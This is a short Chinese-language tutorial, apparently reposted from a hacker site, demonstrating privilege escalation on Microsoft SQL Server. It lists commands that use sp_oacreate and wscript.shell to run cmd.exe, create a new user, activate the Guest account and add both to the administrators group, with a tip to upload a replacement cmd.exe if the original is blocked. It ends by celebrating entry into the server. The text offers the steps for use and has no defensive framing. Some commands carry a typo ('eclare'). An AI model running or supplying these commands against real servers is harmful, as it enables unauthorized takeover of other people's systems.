仲介交易 HTTP://www.aliyun.com/zixun/aggregation/6858.html">SEO診斷 淘寶客 雲主機 技術大廳
SQL提權演示
首先想給大家瞭解一下SQL提權常用命令:
driver={SQL Server};server=伺服器IP;uid=使用者名;pwd=密碼;database=資料庫名 --連接資料庫。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net user 新使用者 密碼 /add' --添加新使用者。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net localgroup administrators 新使用者 /add' --把使用者加到管理組
如果以上添加管理員失敗的時候,我們可以嘗試啟動Guest。
eclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net user guest /active:yes' --啟動GUEST使用者
。
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\ system32\cmd.exe /c net localgroup Administrators Guest /add' --把Guest加到管理組
注意:如果c:\windows\system32\cmd.exe 被刪除,沒許可權訪問或者拒絕訪問的話,我們可以自己上傳個CMD上去,然後路徑修改我們上傳的CMD路徑就可以了。
下面給大家演示一下整個SQL提權的過程:
預設GUEST使用者密碼為空禁用狀態!
啟動GUEST使用者
啟動GUEST使用者成功,但是沒有許可權,所以我們繼續把GUEST這個使用者添加到管理組!
把Guest加到管理組
成功把GUEST加到了管理組,成功進入了伺服器!
進去後能做些什麼? 相信這個就不用我囉嗦了。
原始出處:HTTP://www.flhacker.cn
版權所有-轉載時必須以連結形式注明原始出處